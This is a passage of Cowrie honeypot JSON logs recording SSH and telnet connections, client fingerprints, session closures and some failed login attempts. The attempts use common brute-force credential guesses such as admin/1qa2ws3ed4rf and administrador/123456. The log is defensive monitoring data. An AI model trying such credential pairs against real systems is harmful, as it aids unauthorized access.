],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:13.550706Z","src_ip":"186.13.24.118","session":"8c742d6619b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"123456","message":"login attempt [administrador/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:14.250920Z","src_ip":"186.13.24.118","session":"8c742d6619b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":58808,"dst_ip":"10.17.0.5","dst_port":23,"session":"27d6a8f463e6","protocol":"telnet","message":"New connection: 37.97.152.182:58808 (10.17.0.5:23) [session: 27d6a8f463e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:14.747455Z"}
{"eventid":"cowrie.session.closed","duration":30.701250314712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:15.079799Z","src_ip":"37.97.152.182","session":"ac8b7c854f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30766487121582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:15.164390Z","src_ip":"37.97.152.182","session":"cf72b8bbd411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:15.421630Z","src_ip":"186.13.24.118","session":"8c742d6619b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c92f8a54e1","protocol":"telnet","message":"New connection: 159.203.13.64:37400 (10.17.0.5:23) [session: a5c92f8a54e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:16.285162Z"}
{"eventid":"cowrie.session.closed","duration":31.759738206863403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:16.962695Z","src_ip":"37.97.152.182","session":"be8d6de9b6a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37416,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac56814b339","protocol":"telnet","message":"New connection: 159.203.13.64:37416 (10.17.0.5:23) [session: bac56814b339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:17.673597Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":46652,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c85bea45cb","protocol":"ssh","message":"New connection: 103.215.80.173:46652 (159.203.135.109:22) [session: a6c85bea45cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:17.757335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:17.764257Z","src_ip":"103.215.80.173","session":"a6c85bea45cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.750304698944092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:18.079001Z","src_ip":"37.97.152.182","session":"740415b2f99c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:18.138692Z","src_ip":"103.215.80.173","session":"a6c85bea45cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qa2ws3ed4rf","message":"login attempt [admin/1qa2ws3ed4rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:19.467964Z","src_ip":"103.215.80.173","session":"a6c85bea45cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.34150528907776,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:20.060381Z","src_ip":"159.203.13.64","session":"83e8a3e310d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:20.675869Z","src_ip":"103.215.80.173","session":"a6c85bea45cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":34644,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a340231d5d","protocol":"telnet","message":"New connection: 37.97.152.182:34644 (10.17.0.5:23) [session: 62a340231d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:26.604664Z"}
{"eventid":"cowrie.session.closed","duration":38.120007276535034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:28.401565Z","src_ip":"159.203.13.64","session":"a9e562fdcf95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40430,"dst_ip":"10.17.0.5","dst_port":23,"session":"00984e17631b","protocol":"telnet","message":"New connection: 159.203.13.64:40430 (10.17.0.5:23) [session: 00984e17631b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:30.572507Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"505557ab875d","protocol":"telnet","message":"New connection: 159.203.13.64:32904 (10.17.0.5:23) [session: 505557ab875d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:30.841979Z"}
{"eventid":"cowrie.session.closed","duration":30.559360027313232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:33.033164Z","src_ip":"159.203.13.64","session":"2394bfac546b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.502264738082886,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:33.254920Z","src_ip":"159.203.13.64","session":"a39e268d4a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.484132528305054,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:33.914073Z","src_ip":"159.203.13.64","session":"f518e466f558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37146,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6ed8377b37","protocol":"ssh","message":"New connection: 159.203.92.129:37146 (159.203.135.109:22) [session: 1d6ed8377b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:34.150403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:34.155163Z","src_ip":"159.203.92.129","session":"1d6ed8377b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:34.159276Z","src_ip":"159.203.92.129","session":"1d6ed8377b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alone","password":"alone","message":"login attempt [alone/alone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:34.168796Z","src_ip":"159.203.92.129","session":"1d6ed8377b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:35.176831Z","src_ip":"159.203.92.129","session":"1d6ed8377b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.88830757141113,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:36.167367Z","src_ip":"159.203.13.64","session":"95b2b5698242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":32912,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16175b38850","protocol":"telnet","message":"New connection: 159.203.13.64:32912 (10.17.0.5:23) [session: d16175b38850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:38.493730Z"}
{"eventid":"cowrie.session.closed","duration":30.77637004852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:41.076711Z","src_ip":"37.97.152.182","session":"c136d2e02b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":42952,"dst_ip":"10.17.0.5","dst_port":23,"session":"50bb8a984c4c","protocol":"telnet","message":"New connection: 37.97.152.182:42952 (10.17.0.5:23) [session: 50bb8a984c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:45.367850Z"}
{"eventid":"cowrie.session.closed","duration":31.301244020462036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:46.048535Z","src_ip":"37.97.152.182","session":"27d6a8f463e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":43930,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c89e67ee11e","protocol":"telnet","message":"New connection: 37.97.152.182:43930 (10.17.0.5:23) [session: 6c89e67ee11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:47.471772Z"}
{"eventid":"cowrie.session.closed","duration":31.35025930404663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:47.635294Z","src_ip":"159.203.13.64","session":"a5c92f8a54e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56698,"dst_ip":"10.17.0.5","dst_port":23,"session":"acfac5f862ed","protocol":"telnet","message":"New connection: 162.253.42.116:56698 (10.17.0.5:23) [session: acfac5f862ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:47.885147Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":44184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a11ada96e4f0","protocol":"telnet","message":"New connection: 37.97.152.182:44184 (10.17.0.5:23) [session: a11ada96e4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:49.471265Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":46304,"dst_ip":"10.17.0.5","dst_port":23,"session":"370a67a6be5a","protocol":"telnet","message":"New connection: 37.97.152.182:46304 (10.17.0.5:23) [session: 370a67a6be5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:53.372604Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46718,"dst_ip":"10.17.0.5","dst_port":23,"session":"df81e950438f","protocol":"telnet","message":"New connection: 159.203.13.64:46718 (10.17.0.5:23) [session: df81e950438f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:55.891518Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":8544,"dst_ip":"159.203.135.109","dst_port":22,"session":"354b9407733d","protocol":"ssh","message":"New connection: 193.46.255.86:8544 (159.203.135.109:22) [session: 354b9407733d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:56.188880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:56.193877Z","src_ip":"193.46.255.86","session":"354b9407733d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:56.331230Z","src_ip":"193.46.255.86","session":"354b9407733d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:56.947726Z","src_ip":"193.46.255.86","session":"354b9407733d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46730,"dst_ip":"10.17.0.5","dst_port":23,"session":"52fb467f05cc","protocol":"telnet","message":"New connection: 159.203.13.64:46730 (10.17.0.5:23) [session: 52fb467f05cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:56.993753Z"}
{"eventid":"cowrie.session.closed","duration":30.499503135681152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:57.104047Z","src_ip":"37.97.152.182","session":"62a340231d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":48296,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4b9eb124b3","protocol":"telnet","message":"New connection: 37.97.152.182:48296 (10.17.0.5:23) [session: 1e4b9eb124b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:57.634103Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":48316,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5628bd8239f","protocol":"telnet","message":"New connection: 37.97.152.182:48316 (10.17.0.5:23) [session: b5628bd8239f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:57.738366Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:05:58.086860Z","src_ip":"193.46.255.86","session":"354b9407733d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.18748164176941,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:00.860964Z","src_ip":"159.203.13.64","session":"bac56814b339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":49908,"dst_ip":"10.17.0.5","dst_port":23,"session":"73fda188fdaa","protocol":"telnet","message":"New connection: 37.97.152.182:49908 (10.17.0.5:23) [session: 73fda188fdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:01.729846Z"}
{"eventid":"cowrie.session.closed","duration":32.180431842803955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:03.022287Z","src_ip":"159.203.13.64","session":"505557ab875d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":50964,"dst_ip":"10.17.0.5","dst_port":23,"session":"3254bfa46957","protocol":"telnet","message":"New connection: 37.97.152.182:50964 (10.17.0.5:23) [session: 3254bfa46957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:03.980549Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":51298,"dst_ip":"10.17.0.5","dst_port":23,"session":"df0f9975ae00","protocol":"telnet","message":"New connection: 37.97.152.182:51298 (10.17.0.5:23) [session: df0f9975ae00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:04.803825Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38814,"dst_ip":"10.17.0.5","dst_port":23,"session":"65bf6f3d608a","protocol":"telnet","message":"New connection: 159.203.13.64:38814 (10.17.0.5:23) [session: 65bf6f3d608a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:06.498453Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":54064,"dst_ip":"10.17.0.5","dst_port":23,"session":"147be07a292e","protocol":"telnet","message":"New connection: 37.97.152.182:54064 (10.17.0.5:23) [session: 147be07a292e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:10.742195Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":53684,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3555a8063c","protocol":"telnet","message":"New connection: 37.97.152.182:53684 (10.17.0.5:23) [session: 6d3555a8063c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:11.059501Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60684,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ea1f009fcce","protocol":"telnet","message":"New connection: 159.203.13.64:60684 (10.17.0.5:23) [session: 2ea1f009fcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:11.235059Z"}
{"eventid":"cowrie.session.closed","duration":41.585915088653564,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:12.158277Z","src_ip":"159.203.13.64","session":"00984e17631b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67454266548157,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:13.168188Z","src_ip":"159.203.13.64","session":"d16175b38850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3645520210266113,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:14.599421Z","src_ip":"159.203.13.64","session":"2ea1f009fcce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715301990509033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:16.083017Z","src_ip":"37.97.152.182","session":"50bb8a984c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38270,"dst_ip":"159.203.135.109","dst_port":22,"session":"795a9b6376ab","protocol":"ssh","message":"New connection: 159.203.92.129:38270 (159.203.135.109:22) [session: 795a9b6376ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:16.973894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:06:16.978636Z","src_ip":"159.203.92.129","session":"795a9b6376ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@o